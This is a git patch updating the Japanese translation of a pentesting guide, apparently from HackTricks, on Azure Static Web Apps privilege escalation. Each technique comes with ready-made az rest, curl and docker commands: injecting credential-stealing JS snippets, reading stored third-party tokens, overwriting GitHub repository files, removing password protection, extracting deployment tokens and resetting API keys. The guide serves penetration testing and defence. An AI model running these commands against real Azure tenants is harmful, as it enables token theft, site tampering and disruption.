From 9dabdd9fdaaaec280313e3bcc8c133d4eb8ab780 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 11:54:15 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 69 ++++++++++--------- 1 file changed, 38 insertions(+), 31 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index e54f87071..e795f033f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -このサービスに関する詳細情報は、以下を確認してください: +このサービスの詳細については次を参照してください: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,9 +12,9 @@ ### Microsoft.Web/staticSites/snippets/write -スニペットを作成することで、静的ウェブページに任意のHTMLコードを読み込ませることが可能です。これにより、攻撃者はウェブアプリ内にJSコードを注入し、資格情報やメモリニックキー(web3ウォレット内)などの機密情報を盗むことができます。 +snippet を作成することで、静的なウェブページに任意の HTML コードを読み込ませることが可能です。これにより、攻撃者は web app 内に JS コードを注入し、credentials や mnemonic keys(web3 wallets 内)などの機密情報を窃取できる可能性があります。 -以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します:: +次のコマンドは、常に web app に読み込まれる snippet を作成します:: ```bash az rest \ --method PUT \ @@ -31,22 +31,22 @@ az rest \ } }' ``` -### 設定されたサードパーティの資格情報を読み取る +### 設定済みのサードパーティ認証情報を読み取る -App Service セクションで説明したように: +As explained in the App Service section: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。 +次のコマンドを実行すると、現在のアカウントに設定されている**サードパーティの認証情報を読み取る**ことができます。例えば、Github の認証情報が別のユーザーに設定されている場合、そのユーザーとは別のユーザーからはトークンにアクセスできない点に注意してください。 ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。 +このコマンドは Github、Bitbucket、Dropbox、OneDrive の tokens を返します。 -ここにトークンを確認するためのいくつかのコマンド例があります: +以下に tokens を確認するためのコマンド例を示します: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -71,12 +71,12 @@ https://graph.microsoft.com/v1.0/me/drive/root/children ``` ### ファイルの上書き - ルート、HTML、JSの上書き... -Azureを通じて**アプリを含むGithubリポジトリ内のファイルを上書きする**ことが可能であり、**Githubトークン**を使用して以下のようなリクエストを送信することで、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定できます。 +Azureが**Github token**を保有している場合、次のようなリクエストを送信することで、アプリを含む**Githubリポジトリ内のファイルを上書き**することが可能です。このリクエストでは、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定します。 -攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供したり(資格情報、ニーモニックキーを盗むなど)、`staticwebapp.config.json`ファイルを上書きすることで特定のパスを自分のサーバーに**再ルーティング**したりすることができます。 +This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file. > [!WARNING] -> 攻撃者が何らかの方法でGithubリポジトリを侵害することに成功した場合、Githubから直接ファイルを上書きすることも可能であることに注意してください。 +> 攻撃者が何らかの方法でGithubリポジトリを乗っ取った場合、Githubから直接ファイルを上書きすることもできる点に注意してください。 ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` -### Microsoft.Web/staticSites/config/write +### Microsoft.Web/staticSites/config/write -この権限を持つことで、静的ウェブアプリを保護している**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することが可能です: +この権限があれば、次のようなリクエストを送ることで、保護されている static web app の **パスワードを変更**したり、すべての環境の保護を解除したりすることが可能です: ```bash # Change password az rest --method put \ @@ -133,32 +133,38 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します: +この権限により static app の **API key deployment token** を取得できます。 + +az rest を使用して: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` -次に、**トークンを使用してアプリを更新するために**、以下のコマンドを実行できます。このコマンドは、**Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) がどのように機能するかを確認して抽出したもので**、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。 +AzCLI を使用する: +```bash +az staticwebapp secrets list --name --resource-group +``` +Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future. > [!TIP] -> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の**`swa`**ツールを使用するか、以下の手順に従ってください: +> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の **`swa`** ツールを使うか、以下の手順に従ってください: -1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (またはデプロイしたい他のリポジトリ)し、`cd react-basic`を実行します。 +1. リポジトリ [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい任意のリポジトリ)をダウンロードし、`cd react-basic` を実行します。 2. デプロイしたいコードを変更します。 -3. (``を変更することを忘れずに)実行してデプロイします: +3. 次のコマンドを実行してデプロイします(`` を変更するのを忘れないでください): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> トークンを持っていても、**Deployment Authorization Policy**が**Github**に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイメント方法をAPIトークンを使用するように変更するために、`Microsoft.Web/staticSites/write`の権限が必要です。 - +> トークンを持っていても、**Deployment Authorization Policy** が **Github** に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイ方法を APi トークンを使うように変更するための権限 `Microsoft.Web/staticSites/write` が必要です。 + ### Microsoft.Web/staticSites/write -この権限を持つことで、**静的ウェブアプリのソースを別のGithubリポジトリに変更する**ことが可能ですが、これはGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。 +この権限があれば、**static web app のソースを別の Github リポジトリに変更することが可能**ですが、自動的にプロビジョニングされるわけではありません。これは Github Action から行う必要があります。 -ただし、**Deployment Authorization Policy**が**Github**に設定されている場合、**新しいソースリポジトリからアプリを更新することが可能です!**。 +しかし、**Deployment Authotization Policy** が **Github** に設定されている場合、**新しいソースリポジトリから app を更新することが可能です!**。 -**Deployment Authorization Policy**がGithubに設定されていない場合、同じ権限`Microsoft.Web/staticSites/write`を使用して変更できます。 +もし **Deployment Authorization Policy** が Github に設定されていない場合、同じ権限 `Microsoft.Web/staticSites/write` でそれを変更できます。 ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -181,7 +187,7 @@ az rest --method PATCH \ } }' ``` -アプリをデプロイするための例のGithub Action: +アプリをデプロイするための Github Action の例: ```yaml name: Azure Static Web Apps CI/CD @@ -244,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。 +この権限があれば、**reset the API key of the static web app** を行うことができ、アプリを自動的にデプロイする workflows を DoSing してしまう可能性があります。 ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -この権限は、特定の役割を持つユーザーに対して、静的ウェブアプリ内の保護されたパスにアクセスするための**招待を作成する**ことを許可します。 +この権限は、特定のロールを付与した状態で static web app 内の保護されたパスにアクセスするための **ユーザーへの招待を作成する** ことを許可します。 -ログインは、`/.auth/login/github`(GitHub用)や`/.auth/login/aad`(Entra ID用)などのパスにあります。ユーザーは次のコマンドで招待できます: +ログインは `/.auth/login/github`(github用)や `/.auth/login/aad`(Entra ID用)などのパスにあり、ユーザーは次のコマンドで招待できます: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -264,13 +270,14 @@ az staticwebapp users invite \ --user-details username # Github username in this case\ --resource-group Resource_Group_1 # Resource group of the app ``` -### Pull Requests +### プルリクエスト -デフォルトでは、同じリポジトリ内のブランチからのプルリクエストは、ステージング環境で自動的にコンパイルおよびビルドされます。これは、リポジトリに対する書き込みアクセスを持つ攻撃者によって悪用される可能性がありますが、プロダクションブランチ(通常は `main`)のブランチ保護を回避できない場合、**ステージングURLに悪意のあるアプリのバージョンをデプロイする**ことができます。 +デフォルトでは、同じリポジトリ内のブランチからの Pull Requests は自動的にコンパイルされ、ステージング環境でビルドされます。これは、リポジトリに対する書き込み権限を持っているが本番ブランチ(通常 `main`)のブランチ保護を回避できない攻撃者によって悪用され、ステージング URL に**悪意のあるバージョンのアプリをデプロイする**ことにつながる可能性があります。 -ステージングURLは次の形式です: `https://-..` 例えば: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +ステージング URL の形式は次のとおりです: `https://-..` 例: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> デフォルトでは、外部PRはリポジトリに少なくとも1つのPRがマージされるまでワークフローを実行しません。攻撃者はリポジトリに有効なPRを送信し、**その後悪意のあるPRをリポジトリに送信してステージング環境に悪意のあるアプリをデプロイする**ことができます。しかし、予期しない保護があります。静的ウェブアプリにデプロイするためのデフォルトのGithub Actionは、デプロイメントトークンを含むシークレットへのアクセスが必要です(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)。これは、外部PRがこのシークレットにアクセスできず、外部PRがワークフローを変更して任意のトークンをここに配置することができないため、**この攻撃は実際には機能しません**。 +> デフォルトでは、外部の PR はリポジトリに少なくとも 1 つの PR をマージしていない限りワークフローを実行しない点に注意してください。攻撃者はまず有効な PR をリポジトリに送信し、その後悪意のある PR を送ってステージング環境に悪意のあるアプリをデプロイする可能性があります。とはいえ、予期せぬ保護があります。static web app にデプロイするためのデフォルトの GitHub Action は、デプロイ用トークンを含むシークレット(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)へのアクセスを必要とします。これは IDToken を使ったデプロイであっても同様です。したがって、外部 PR はこのシークレットにアクセスできず、外部 PR が承認されない限りワークフローを変更して任意のトークンを配置することもできないため、**この攻撃は実際には機能しません**。 + {{#include ../../../banners/hacktricks-training.md}}